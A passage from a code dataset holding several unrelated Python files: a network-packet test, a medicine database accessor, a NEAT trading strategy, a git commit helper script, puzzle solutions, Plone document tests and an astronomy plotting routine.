2]))\n h2 = ccnpy.HashValue(2, array.array('B', [3, 4]))\n h3 = ccnpy.HashValue(3, array.array('B', [5, 6]))\n\n p = ccnpy.flic.Pointers([h1, h2, h3])\n actual = p.serialize()\n\n expected = array.array(\"B\", [0, 2, 0, 18,\n 0, 1, 0, 2, 1, 2,\n 0, 2, 0, 2, 3, 4,\n 0, 3, 0, 2, 5, 6])\n self.assertEqual(expected, actual)\n\n def test_parse(self):\n h1 = ccnpy.HashValue(1, array.array('B', [1, 2]))\n h2 = ccnpy.HashValue(2, array.array('B', [3, 4]))\n h3 = ccnpy.HashValue(3, array.array('B', [5, 6]))\n expected = ccnpy.flic.Pointers([h1, h2, h3])\n\n wire_format = array.array(\"B\", [0, 2, 0, 18,\n 0, 1, 0, 2, 1, 2,\n 0, 2, 0, 2, 3, 4,\n 0, 3, 0, 2, 5, 6])\n tlv = ccnpy.Tlv.deserialize(wire_format)\n actual = ccnpy.flic.Pointers.parse(tlv)\n self.assertEqual(expected, actual)\n","sub_path":"ccnpy/flic/tests/test_Pointers.py","file_name":"test_Pointers.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"582956772","text":"from abc import ABC, abstractmethod\nfrom Classes.Utilities import Iterator, Container\nfrom Classes import Statics\nfrom Classes.DatabaseHandlers import add, delete, create_table, update, addFactory\n\nclass AccessDatabaseMedicines(Container.Container):\n\n def __init__(self):\n super(Container.Container, self).__init__()\n\n\n def getIterator(self):\n return AccessDatabaseMedicines.DatabaseMedicines()\n\n\n\n class DatabaseMedicines(Iterator.Iterator):\n def __init__(self, index=0):\n self.index=0\n\n def hasNext(self):\n if self.index < Statics.medList.__len__():\n return True\n else:\n return False\n\n def next(self):\n if self.hasNext():\n a = Statics.medList.__getitem__(self.index)\n self.index += 1\n return a\n else:\n self.index=0\n\n def add(self, toAdd):\n addFactory.addFactory().add(create_table.Medicines, str(toAdd))\n #Statics.medList.append(toAdd)\n\n def remove(self, toBeRemove):\n delete.Delete(create_table.Medicines, str(toBeRemove))\n\n def update(self, medID, attribute, newValue):\n print(medID, attribute, newValue)\n update.Update(\"\", medID, attribute, newValue)\n pass\n #dowork\n\n def search(self, toSearch):\n result=[]\n if toSearch==\"\":\n result = \"No Matches\"\n return result\n while self.hasNext():\n temp1 = self.next()\n temp2 = temp1.split(\"#\")\n for i in temp2:\n if (i.capitalize()).__contains__((Statics.searchKey).capitalize()):\n result.append(temp1)\n break\n if result.__len__()==0:\n result = \"No Matches\"\n return result\n","sub_path":"Classes/DatabaseAccessors/AccessDatabaseMedicines.py","file_name":"AccessDatabaseMedicines.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"226690574","text":"# Copyright 2019 The TensorTrade Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport json\n\nimport pandas as pd\nimport numpy as np\n\nfrom statistics import mode, stdev, StatisticsError\n\nfrom abc import ABCMeta, abstractmethod\nfrom typing import Union, Callable, List, Dict\n\nimport neat\nfrom collections import Counter\n\nfrom tensortrade.environments.trading_environment import TradingEnvironment\nfrom tensortrade.features.feature_pipeline import FeaturePipeline\nfrom tensortrade.strategies import TradingStrategy\nfrom termcolor import colored as c\nfrom IPython.display import clear_output\nimport math\nimport random\n\nimport matplotlib.pyplot as plt\n\nclass NeatTradingStrategy(TradingStrategy):\n \"\"\"A trading strategy capable of self tuning, training, and evaluating using the NEAT Neuralevolution.\"\"\"\n\n # todo: pass in config file\n def __init__(self, environment: TradingEnvironment, neat_config: str, **kwargs):\n \"\"\"\n Arguments:\n environment: A `TradingEnvironment` instance for the agent to trade within.\n neat_sepc: A specification dictionary for the `Tensorforce` agent's model network.\n kwargs (optional): Optional keyword arguments to adjust the strategy.\n \"\"\"\n self._environment = environment\n\n self._max_episode_timesteps = kwargs.get('max_episode_timesteps', None)\n self._neat_config_filename = neat_config\n self._config = self.load_config()\n self._genome_performance = {}\n self._learn_to_trade_theshold = kwargs.get('learn_to_trade_theshold', 300)\n\n @property\n def environment(self):\n return self._environment\n\n def load_config(self):\n config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\n self._neat_config_filename)\n config.genome_config.num_inputs = len(self._environment.exchange.data_frame.columns)\n config.genome_config.input_keys = [-i - 1 for i in range(config.genome_config.num_inputs)]\n return config\n\n def restore_agent(self, path: str, model_path: str = None):\n raise NotImplementedError\n\n def save_agent(self, path: str, model_path: str = None, append_timestep: bool = False):\n raise NotImplementedError\n\n def _finished_episode_cb(self) -> bool:\n n_episodes = runner.episode\n n_timesteps = runner.episode_timestep\n avg_reward = np.mean(runner.episode_rewards)\n print(\"Average Trades:\", self.exchange.performance[-10:] )\n print(\"Trades: \", mean(self._genome_performance[\"trades\"]))\n\n print(\"Finished episode {} after {} timesteps.\".format(n_episodes, n_timesteps))\n print(\"Average episode reward: {})\".format(avg_reward))\n\n return True\n\n def tune(self, steps: int = None, episodes: int = None, callback: Callable[[pd.DataFrame], bool] = None) -> pd.DataFrame:\n raise NotImplementedError\n\n def _eval_population(self, genomes, config):\n # find a window to evaluate all genomes on\n data_frame_window = 500\n data_frame_length = self.environment.exchange.data_frame.shape[0]\n data_frame_start_tick = random.randint(0, data_frame_length - data_frame_window)\n print(\"Starting at DF[{}]\".format(data_frame_start_tick))\n # show the current plot for the price window.\n # plt.plot(self.environment.exchange.data_frame[data_frame_start_tick:data_frame_start_tick+data_frame_window]['close'])\n # plt.show()\n\n for genome_id, genome in genomes:\n self._environment.reset()\n # set the current_step to the start of our window\n self.environment._exchange._current_step = data_frame_start_tick\n self.environment._current_step = data_frame_start_tick\n\n self.eval_genome(genome, data_frame_window)\n\n p = self._genome_performance[genome.key]\n print(\"Genome Performance: \", genome.key)\n\n if p['rewards'] > 0:\n print(\"Rewards:\", c(p['rewards'], 'green'))\n else:\n print(\"Rewards:\", p['rewards'])\n\n print('Balance:', p['balance'])\n if p['net_worth'] > 10000:\n print(\"Net Worth:\", c(p['net_worth'], 'green'))\n else:\n print(\"Net Worth:\", p['net_worth'])\n\n print('Steps', p['steps_completed'])\n try:\n print('Most common action', Counter(p['actions']))\n except StatisticsError:\n print('No Action Mode:', p['actions'])\n print('Number of trades:', Counter(self._environment.exchange.trades['type']))\n print(' ')\n # plt.clf()\n clear_output()\n\n def eval_genome(self, genome, data_frame_window):\n print('---------------------------')\n\n # Initialize the network for this genome\n net = neat.nn.RecurrentNetwork.create(genome, self._config)\n # calculate the steps and keep track of some intial variables\n steps = len(self._environment._exchange.data_frame)\n steps_completed = 0\n done = False\n actions = self._environment.action_strategy.n_actions\n\n performance = {\"rewards\":0, \"balance\":0, \"net_worth\":0, \"actions\": [], \"steps_completed\":0, 'trades':0}\n self._genome_performance[genome.key] = performance\n # we need to know how many actions we are able to take\n\n starting_balance = self._environment.exchange.balance\n\n # set inital reward\n genome.fitness = 0.0\n\n # walk all timesteps to evaluate our genome\n # while (steps is not None and (steps == 0 or steps_completed < (steps))):\n while(steps_completed < data_frame_window):\n # Get the current data observation\n current_dataframe_observation = self._environment._exchange.data_frame[steps_completed:steps_completed+1]\n current_dataframe_observation = current_dataframe_observation.values.flatten()\n\n # activate() the genome and calculate the action output\n output = net.activate(current_dataframe_observation)\n\n # action at current step\n action = int(self._environment.action_strategy.n_actions/2 * (1 + math.tanh(output[0])))\n\n # feed action into environment to get reward for selected action\n obs, rewards, done, info = self.environment.step(action)\n\n # feed rewards to NEAT to calculate fitness.\n genome.fitness += rewards\n\n # count this as a completed step\n steps_completed += 1\n\n # stop iterating if we haven't learned to trade or we pass a fitness threshold\n if genome.fitness < -10000:\n print(\"Learn to trade asshole!\")\n done= True\n\n\n\n # if steps_completed > self._learn_to_trade_theshold and len(self._environment.exchange.trades) is 0:\n # genome.fitness = self._genome_performance[genome.key]['rewards'] = -100000 #lern to trade asshole...\n #\n # # stop iterating if we haven't learned to SELL in the first N timesteps\n # if steps_completed > self._learn_to_trade_theshold and len(self._environment.exchange.trades) is 0:\n # genome.fitness = self._genome_performance[genome.key]['rewards'] = -100000 #lern to trade asshole...\n # print(\"Learn to trade asshole!\")\n # done= True\n #\n # if (\n # steps_completed > self._learn_to_trade_theshold and\n # len(self._environment.exchange.trades) is not 0 and\n # self._environment.exchange.trades.any()\n # ) :\n #\n # genome.fitness = self._genome_performance[genome.key]['rewards'] = -100 #lern to trade asshole...\n # dones= True\n\n self._genome_performance[genome.key]['rewards'] += rewards\n self._genome_performance[genome.key]['actions'].append(action)\n self._genome_performance[genome.key]['steps_completed'] = steps_completed\n self._genome_performance[genome.key]['trades'] = len(self._environment.exchange.trades)\n self._genome_performance[genome.key]['balance'] = self._environment.exchange.balance\n self._genome_performance[genome.key]['net_worth'] = self._environment.exchange.net_worth\n\n if done:\n print('-------WE DONE!---------')\n break\n\n\n def run(self, generations: int = None, testing: bool = True, episode_callback: Callable[[pd.DataFrame], bool] = None) -> pd.DataFrame:\n\n # create population\n pop = neat.Population(self._config)\n # add reporting\n pop.add_reporter(neat.StdOutReporter(True))\n stats = neat.StatisticsReporter()\n pop.add_reporter(stats)\n pop.add_reporter(neat.Checkpointer(5))\n\n # Run for up to 300 generations.\n winner = pop.run(self._eval_population, generations)\n\n # Display the winning genome.\n print('\\nBest genome:\\n{!s}'.format(winner))\n\n # Show output of the most fit genome against training data.\n # print('\\nOutput:')\n\n # p = neat.Checkpointer.restore_checkpoint('neat-checkpoint-4')\n\n return [self._environment._exchange.performance, winner, stats]\n","sub_path":"tensortrade/neat_trading_strategy.py","file_name":"neat_trading_strategy.py","file_ext":"py","file_size_in_byte":9849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"295244032","text":"# _*_ coding:utf-8 _*_\n\nimport os\nos.chdir(\"../Plugins/Unity3DGameLib\")\nos.system(\"git status\")\nos.system(\"git add .\")\nos.system(\"git status\")\n\ncomment = raw_input(\"Enter Commit Message:\")\nif(comment == ''):\n\tcomment = \"Code Update\"\n\ncommit_command = 'git commit -m \"%s\"' % (comment)\npush_command = 'git push origin master'\nos.system(commit_command)\nos.system(push_command)\n\nprint(\"Press any key to exit\")\nraw_input()","sub_path":"commit_unit3d_game_lib.py","file_name":"commit_unit3d_game_lib.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"362565175","text":"# ------------------------------------------------------------------------------------------------------------------\n# Today we're going to balance words on one of the letters in them. We'll use the position and letter itself to\n# calculate the weight around the balance point. A word can be balanced if the weight on either side of the balance\n# point is equal. Not all words can be balanced, but those that can are interesting for this challenge.\n# The formula to calculate the weight of the word is to look at the letter position in the English alphabet\n# (so A=1, B=2, C=3 ... Z=26) as the letter weight, then multiply that by the distance from the balance point,\n# so the first letter away is multiplied by 1, the second away by 2, etc.\n# As an example: STEAD balances at T: 1 * S(19) = 1 * E(5) + 2 * A(1) + 3 * D(4))\n# ------------------------------------------------------------------------------------------------------------------\n\ndef balance(word):\n teeter = len(word)//2 # Starting point of the balancing\n length = len(word)\n status = True\n\n # Puts the position and number-value of a letter into a list for comparison\n values_list = [(position, (ord(character)-96)) for position, character in enumerate(word)]\n comparison = compare(values_list, teeter, length)\n\n # If chain that will be entered if the word is unbalanced at the start of the program.\n if comparison[0] < comparison[1]:\n while True:\n teeter += 1 # Moves the midpoint closer to the right side to change the balance\n if teeter == (length - 1): # if the end of the word is reached it cannot be balanced\n status = False\n print(\"{} cannot be balanced.\".format(word))\n break\n comparison = compare(values_list, teeter, length)\n if comparison[0] == comparison[1]: break\n elif comparison[0] > comparison[1]:\n while True:\n teeter -= 1 # Moves the midpoint closer to the left side of the word to change the balance\n if teeter == 0: # If the beginning of the word is reached it cannot be balanced\n status = False\n print(\"{} cannot be balanced.\".format(word))\n break\n comparison = compare(values_list, teeter, length)\n if comparison[0] == comparison[1]:\n break\n if status == True: print(\"{} {} {} - {}\".format(word[:teeter], word[teeter], word[teeter+1:], comparison[0]))\n\n\n\n# A function to compare the different \"weights\" of a word\ndef compare(values, totter, length):\n low_sum = 0\n high_sum = 0\n for i in range(0,totter):\n low_sum += (totter - values[i][0])*values[i][1]\n for h in range(totter+1, length):\n high_sum += (values[h][0] - totter)*values[h][1]\n return (low_sum, high_sum)\n\n\nif __name__ == '__main__':\n balance(\"superglue\")\n","sub_path":"Daily_Challenges/Word_Balance.py","file_name":"Word_Balance.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"156189338","text":"# @Time : 2020/10/25 23:53\n# @Author : LiuBin\n# @File : 845.py\n# @Description : \n# @Software: PyCharm\n\"\"\"数组中的最长山脉\n思路: dp、双指针\n1、分别扫一遍截止到当前元素的最大升序和最大降序，然后求和得到最大的值\n2、双指针\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def longestMountain(self, A: List[int]) -> int:\n if len(A) < 3:\n return 0\n last = A[0]\n dp_pre = [0]\n for a in A:\n if a > last:\n dp_pre.append(dp_pre[-1] + 1)\n else:\n dp_pre.append(0)\n last = a\n last = A[-1]\n dp_post = [0]\n for a in A[::-1]:\n if a > last:\n dp_post.insert(0, dp_post[0] + 1)\n else:\n dp_post.insert(0, 0)\n last = a\n max_ = 0\n for pre, post in zip(dp_pre[1:], dp_post[:-1]):\n if pre and post:\n max_ = max(pre + post + 1, max_)\n return max_\n\n\nprint(Solution().longestMountain([2, 1, 4, 7, 3, 2, 5]))\n","sub_path":"leetcode/towpointer/845.py","file_name":"845.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"507275457","text":"from ftw.builder import Builder\nfrom ftw.builder import create\nfrom ftw.pdfgenerator.builder import Builder as PDFBuilder\nfrom ftw.pdfgenerator.interfaces import ILaTeXView\nfrom ftw.pdfgenerator.utils import provide_request_layer\nfrom ftw.testing import MockTestCase\nfrom opengever.dossier.behaviors.dossier import IDossierMarker\nfrom opengever.latex import dossierdetails\nfrom opengever.latex.dossierdetails import IDossierDetailsLayer\nfrom opengever.latex.layouts.default import DefaultLayout\nfrom opengever.latex.testing import LATEX_ZCML_LAYER\nfrom opengever.testing import FunctionalTestCase\nfrom opengever.testing import select_current_org_unit\nfrom plone.app.testing import TEST_USER_ID\nfrom zope.component import getMultiAdapter\nfrom zope.publisher.interfaces.browser import IDefaultBrowserLayer\nfrom ftw.testbrowser import browsing\n\n\nclass TestDossierDetailsPDFView(MockTestCase):\n\n layer = LATEX_ZCML_LAYER\n\n def test_is_registered(self):\n context = self.providing_stub([IDossierMarker])\n request = self.providing_stub([IDefaultBrowserLayer])\n\n self.replay()\n view = getMultiAdapter((context, request),\n name='pdf-dossier-details')\n\n self.assertTrue(isinstance(\n view, dossierdetails.DossierDetailsPDFView))\n\n def test_render_adds_browser_layer(self):\n context = request = self.create_dummy()\n\n view = self.mocker.patch(\n dossierdetails.DossierDetailsPDFView(context, request))\n\n self.expect(view.allow_alternate_output()).result(False)\n self.expect(view.export())\n\n self.replay()\n\n view.render()\n self.assertTrue(dossierdetails.IDossierDetailsLayer.providedBy(\n request))\n\n\nclass TestDossierDetails(FunctionalTestCase):\n use_default_fixture = False\n\n def setUp(self):\n super(TestDossierDetails, self).setUp()\n self.user = create(Builder('ogds_user')\n .having(firstname='t\\xc3\\xa4st'.decode('utf-8'),\n lastname=u'User'))\n self.admin_unit = create(Builder('admin_unit')\n .as_current_admin_unit()\n .having(title=u'Regierungsrat'))\n self.org_unit = create(Builder('org_unit')\n .having(title=u'Regierungsrat',\n admin_unit=self.admin_unit)\n .with_default_groups()\n .assign_users([self.user]))\n\n select_current_org_unit(self.org_unit.id())\n\n @browsing\n def test_dossierdetails_view(self, browser):\n repositoryroot = create(Builder('repository_root')\n .titled(u'Repository'))\n repository_1 = create(Builder('repository')\n .titled(u'Repository Folder')\n .within(repositoryroot))\n repository_1_1 = create(Builder('repository')\n .titled(u'Sub Repository Folder')\n .within(repository_1))\n dossier = create(Builder('dossier')\n .within(repository_1_1)\n .having(responsible=self.user.userid))\n create(Builder('task')\n .within(dossier)\n .having(responsible=self.user.userid,\n responsible_client=self.org_unit.id()))\n\n browser.login().visit(dossier, view='pdf-dossier-details')\n\n def get_dossierdetails_view(self, dossier):\n provide_request_layer(dossier.REQUEST, IDossierDetailsLayer)\n layout = DefaultLayout(dossier, dossier.REQUEST, PDFBuilder())\n return getMultiAdapter(\n (dossier, dossier.REQUEST, layout), ILaTeXView)\n\n def test_responsible_contains_admin_unit_and_userid(self):\n dossier = create(Builder('dossier')\n .having(responsible=TEST_USER_ID))\n\n dossierdetails = self.get_dossierdetails_view(dossier)\n self.assertEquals(\n 'Regierungsrat / User t\\xc3\\xa4st (test_user_1_)',\n dossierdetails.get_responsible().encode('utf-8'))\n\n def test_repository_path_is_a_reverted_path_seperated_with_slahes(self):\n repositoryroot = create(Builder('repository_root')\n .titled(u'Repository'))\n repository_1 = create(Builder('repository')\n .titled(u'Repository Folder')\n .within(repositoryroot))\n repository_1_1 = create(Builder('repository')\n .titled(u'Sub Repository Folder')\n .within(repository_1))\n dossier = create(Builder('dossier').within(repository_1_1))\n\n dossierdetails = self.get_dossierdetails_view(dossier)\n\n self.assertEquals(\n u'1.1. Sub Repository Folder / 1. Repository Folder',\n dossierdetails.get_repository_path())\n\n def test_repository_path_do_not_escape_special_latex_characters(self):\n \"\"\"The escaping is done by the `get_dossier_metadata` method\n and shouldn't be done twice.\"\"\"\n\n repofolder = create(Builder('repository')\n .titled(u'Foo & Bar'))\n\n dossier = create(Builder('dossier').within(repofolder))\n dossierdetails = self.get_dossierdetails_view(dossier)\n\n self.assertEquals(\n '1. Foo & Bar',\n dossierdetails.get_repository_path())\n","sub_path":"opengever/latex/tests/test_dossierdetails.py","file_name":"test_dossierdetails.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"175135007","text":"\"\"\"\nCreated on 2019-10-25\n\n@author: K. Masunaga, LASP CU Boulder (kei.masunaga@lasp.colorado.edu)\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom common.tools import AnchoredHScaleBar\n\nfrom HskClass import HskData, Img, Xslice, Yslice, CalData, HskHorizons, EuvStar\nfrom MyRc import HskRc\nrc = HskRc()\n\n\ndef get_date_acc(fnames):\n if type(fnames) is not list:\n fnames = [fnames]\n date_acc = ''\n for ifname in fnames:\n hskdat = HskData(ifname, open=False)\n date_acc += hskdat.date + ', '\n\n return date_acc\n\ndef qlplot_KAI(subdicAll, linename=None, save=False):\n dic_common = subdicAll['common']\n dic_linename = subdicAll[linename]\n dic_save_mode = subdicAll['save_mode']\n\n ## Load data from dictionary\n # number of data\n ndat, ndat_sky = dic_common['ndat'], dic_common['ndat_sky']\n if ndat_sky is None:\n dickey = 'ndat' + str(int(ndat)) + '_nsky' + str(ndat_sky)\n else:\n dickey = 'ndat' + str(int(ndat)) + '_nsky' + str(int(ndat_sky))\n\n # img objects\n img_mean = dic_linename['img_mean']\n img_sky_mean = dic_linename['img_sky_mean']\n img_sub = dic_linename['img_sub']\n # xslice objects\n xsl_mean = dic_linename['xslice_mean']\n xsl_sky_mean = dic_linename['xslice_sky']\n xsl_sub = dic_linename['xslice_sub']\n # yslice objects\n ysl_mean = dic_linename['yslice_mean']\n ysl_sky_mean = dic_linename['yslice_sky']\n ysl_sub = dic_linename['yslice_sub']\n # lim data\n wvlim_sl = dic_linename['wvlim_sl'] # [1056, 1076]#\n xlim_sl = dic_linename['xlim_sl'] # [433, 451]#\n ylim_sl = dic_linename['ylim_sl']\n ylim_adj = dic_linename['ylim_adj']\n ylim_away = dic_linename['ylim_away']\n\n br = dic_linename['I']\n br_err = dic_linename['I_err']\n\n # yfit model\n fitted_model = dic_linename['yfit_model']\n\n # misc items\n fname = dic_common['fname']\n date = get_date_acc(fname)\n target_body = dic_common['target_body']\n diam = dic_common['diam']\n npix_disk = dic_common['npix_disk']\n obs_period = dic_common['obs_period']\n period_str = '{:02}'.format(obs_period)\n xscl = 10\n yscl = 4.2\n\n with_sky = dic_save_mode['with_sky']\n mlt_date = dic_save_mode['mlt_date']\n adjust_bg = dic_save_mode['adjust_bg']\n flip_n_roll_sky = dic_save_mode['flip_n_roll_sky']\n # flip_n_roll_sky = False\n # define figure name\n figtit = target_body + '_' + date[:-2] + '\\n on_(' + str(ndat) + '), ' + 'off_(' + str(ndat_sky) + '), '\n\n ## set plot lim\n wvlim_plt = [500, 1500]#[wvlim_sl[0] - 50, wvlim_sl[1] + 50]\n ylim_plt = [500, 640]\n img_mean_max = np.max(img_mean.counts[ylim_sl[0]:ylim_sl[1], xlim_sl[0]:xlim_sl[1]])\n if with_sky:\n img_max = np.max(abs(img_sub.counts[ylim_sl[0]:ylim_sl[1], xlim_sl[0]:xlim_sl[1]]))\n idx_cnts = np.where(abs(img_sub.counts[ylim_sl[0]:ylim_sl[1], xlim_sl[0]:xlim_sl[1]]) == img_max)\n else:\n img_max = np.max(abs(img_mean.counts[ylim_sl[0]:ylim_sl[1], xlim_sl[0]:xlim_sl[1]]))\n idx_cnts = np.where(abs(img_mean.counts[ylim_sl[0]:ylim_sl[1], xlim_sl[0]:xlim_sl[1]]) == img_max)\n ymax_cnts = idx_cnts[0][0] + ylim_sl[0]\n xmax_cnts = idx_cnts[1][0] + xlim_sl[0]\n wlmax_cnts = img_mean.xcal[xmax_cnts] # caldat.xcal[xmax_cnts]\n\n ## Start plotting ##\n plt.close()\n fig = plt.figure(figsize=[12.5, 10])\n widths = [3, 1]\n gs = fig.add_gridspec(5, 2, width_ratios=widths) # fig.add_gridspec(5, 2, height_ratios=heights)\n plt.subplots_adjust(hspace=0.5)\n\n ax1 = fig.add_subplot(gs[0, 0])\n img_mean.plot(vmin=0, vmax=img_mean_max * 1.1)\n img_mean.plot_vline(wvlim_sl[0], color='r', linestyle='--')\n img_mean.plot_vline(wvlim_sl[1], color='r', linestyle='--')\n img_mean.plot_hline(ylim_sl[0], color='r', linestyle='--')\n img_mean.plot_hline(ylim_sl[1], color='r', linestyle='--')\n ax1.set_xlim(wvlim_plt)\n ax1.set_ylim(ylim_plt)\n ax1.set_title(figtit)\n\n ax12 = fig.add_subplot(gs[0, 1])\n img_mean.plot(vmin=0, vmax=img_mean_max * 1.1)\n img_mean.plot_ellipse(wlmax_cnts, ymax_cnts, diam / xscl, diam / yscl, edgecolor='r', facecolor='None', lw=1)\n img_mean.plot_ellipse(wlmax_cnts, ymax_cnts, 3 * diam / xscl, 3 * diam / yscl, edgecolor='r', facecolor='None',\n lw=1)\n ax12.set_xlim(wvlim_sl)\n ax12.set_ylim(ylim_sl)\n\n if with_sky or flip_n_roll_sky:\n ax2 = fig.add_subplot(gs[1, 0])\n img_sky_mean.plot(vmin=0, vmax=img_mean_max * 1.1)\n img_sky_mean.plot_vline(wvlim_sl[0], color='r', linestyle='--')\n img_sky_mean.plot_vline(wvlim_sl[1], color='r', linestyle='--')\n img_sky_mean.plot_hline(ylim_sl[0], color='r', linestyle='--')\n img_sky_mean.plot_hline(ylim_sl[1], color='r', linestyle='--')\n ax2.set_xlim(wvlim_plt)\n ax2.set_ylim(ylim_plt)\n\n ax22 = fig.add_subplot(gs[1, 1])\n img_sky_mean.plot(vmin=0, vmax=img_mean_max * 1.1)\n img_mean.plot_ellipse(wlmax_cnts, ymax_cnts, diam / xscl, diam / yscl, edgecolor='r', facecolor='None', lw=1)\n img_mean.plot_ellipse(wlmax_cnts, ymax_cnts, 3 * diam / xscl, 3 * diam / yscl, edgecolor='r', facecolor='None',\n lw=1)\n ax22.set_xlim(wvlim_sl)\n ax22.set_ylim(ylim_sl)\n\n ax3 = fig.add_subplot(gs[2, 0])\n img_sub.plot(cmap='RdYlBu_r', vmin=-img_max * 1.1, vmax=img_max * 1.1)\n img_sub.plot_vline(wvlim_sl[0], color='r', linestyle='--')\n img_sub.plot_vline(wvlim_sl[1], color='r', linestyle='--')\n img_sub.plot_hline(ylim_sl[0], color='r', linestyle='--')\n img_sub.plot_hline(ylim_sl[1], color='r', linestyle='--')\n ax3.set_xlim(wvlim_plt)\n ax3.set_ylim(ylim_plt)\n\n ax32 = fig.add_subplot(gs[2, 1])\n img_sub.plot(cmap='RdYlBu_r', vmin=-img_max * 1.1, vmax=img_max * 1.1)\n img_mean.plot_ellipse(wlmax_cnts, ymax_cnts, diam / xscl, diam / yscl, edgecolor='r', facecolor='None', lw=1)\n img_mean.plot_ellipse(wlmax_cnts, ymax_cnts, 3 * diam / xscl, 3 * diam / yscl, edgecolor='r', facecolor='None',\n lw=1)\n ax32.set_xlim(wvlim_sl)\n ax32.set_ylim(ylim_sl)\n\n ## Plot xslice\n ax4 = fig.add_subplot(gs[3, :])\n xsl_mean.plot(color='C3', label='mars')\n ax4.set_xlim(wvlim_plt)\n ax4.set_ylim(-max(xsl_sky_mean.counts[xlim_sl[0]:xlim_sl[1]] * 1.2),\n max(xsl_mean.counts[xlim_sl[0]:xlim_sl[1]]) * 1.2)\n if adjust_bg:\n xsl_sky_mean.plot(color='C9', label='sky')\n else:\n xsl_sky_mean.plot(color='C0', label='sky')\n xsl_sub.plot(color='k', label='mars-sky')\n\n xsl_mean.plot_vline(wvlim_sl[0], color='r', linestyle='--')\n xsl_mean.plot_vline(wvlim_sl[1], color='r', linestyle='--')\n xsl_mean.plot_hline(0, color='grey', linewidth=1, linestyle=':')\n plt.legend(loc='upper right')\n ## Add a scale of the spectral resolution\n rsx = AnchoredHScaleBar(size=8, label=\"spectral resolution\", loc='upper left', frameon=False, pad=0, sep=4,\n color=\"k\", linewidth=0.8)\n ax4.add_artist(rsx)\n obx = AnchoredHScaleBar(size=diam / xscl, label=\"2 ${R_{M}}$\", loc='lower center', frameon=False, pad=0, sep=4,\n color=\"k\", linewidth=0.8)\n ax4.add_artist(obx)\n # ctools.copy_plot_width(ax1, ax4)\n\n ## Plot yslice\n ax5 = fig.add_subplot(gs[4, :])\n ysl_mean.plot(color='C3', label='mars')\n ax5.set_xlim(ylim_plt)\n if with_sky or flip_n_roll_sky:\n ax5.set_ylim(-max(ysl_sky_mean.counts[ylim_plt[0]:ylim_plt[1]] * 1.2),\n max(ysl_mean.counts[ylim_plt[0]:ylim_plt[1]]) * 1.2)\n else:\n ax5.set_ylim(-max(ysl_mean.counts[ylim_plt[0]:ylim_plt[1]] * 1.2 * 0.1),\n max(ysl_mean.counts[ylim_plt[0]:ylim_plt[1]]) * 1.2)\n ysl_mean.plot_vline(ylim_sl[0], color='r', linestyle='--')\n ysl_mean.plot_vline(ylim_sl[1], color='r', linestyle='--')\n\n if with_sky or flip_n_roll_sky:\n if adjust_bg:\n ysl_sky_mean.plot(color='C9', label='sky')\n else:\n ysl_sky_mean.plot(color='C0', label='sky')\n ysl_sub.plot(color='k', label='mars-sky')\n else:\n ysl_mean.plot_vline(ylim_away[0], color='C0', linestyle='--')\n ysl_mean.plot_vline(ylim_away[1], color='C0', linestyle='--')\n\n if adjust_bg:\n ysl_mean.plot_vline(ylim_adj[0], color='C9', linestyle='--')\n ysl_mean.plot_vline(ylim_adj[1], color='C9', linestyle='--')\n ysl_mean.plot_hline(0, color='grey', linewidth=1, linestyle=':')\n\n ## Overplot fitted model on the yslice\n if with_sky or flip_n_roll_sky:\n ycal = ysl_sub.ycal\n plt.plot(ycal, fitted_model(ycal), color='grey')\n plt.legend()\n plt.legend(loc='upper right')\n\n ## Add a scale of the pointing accuracy\n point_acc = 25\n rsy = AnchoredHScaleBar(size=point_acc / yscl, label=\"pointing accuracy\", loc='upper left', frameon=False, pad=0,\n sep=4, color=\"k\", linewidth=0.8)\n ax5.add_artist(rsy)\n oby = AnchoredHScaleBar(size=diam / yscl, label=\"2 ${R_{M}}$\", loc='lower center', frameon=False, pad=0, sep=4,\n color=\"k\", linewidth=0.8)\n ax5.add_artist(oby)\n\n ## Write brightness on the figure\n brightness_xslice = xsl_sub.get_brightness(xlim_sl, npix=np.ceil(npix_disk))\n # brightness_yslice = ysl_sub.get_brightness(ylim_sl, npix=np.ceil(npix_disk))\n fig = plt.gcf()\n ax_list = fig.axes\n xlim_xsl = ax_list[-2].get_xlim()\n ylim_xsl = ax_list[-2].get_ylim()\n # ax_list[-2].text(xlim_xsl[0]+3, (ylim_xsl[0]+ylim_xsl[1])/2, \"{:.2f}\".format(br) +'±' + \"{:.2f}\".format(br_err) + ' R' )\n ax_list[-2].text(xlim_xsl[0] + 3, (ylim_xsl[0] + ylim_xsl[1]) / 4,\n \"{:.2f}\".format(brightness_xslice[0]) + '±' + \"{:.2f}\".format(brightness_xslice[1]) + ' R')\n xlim_ysl = ax_list[-1].get_xlim()\n ylim_ysl = ax_list[-1].get_ylim()\n # ax_list[-1].text(xlim_ysl[0]+5, (ylim_ysl[0]+ylim_ysl[1])/2, \"{:.2f}\".format(br) +'±' + \"{:.2f}\".format(br_err) + ' R')\n # ax_list[-1].text(xlim_ysl[0]+5, (ylim_ysl[0]+ylim_ysl[1])/4, 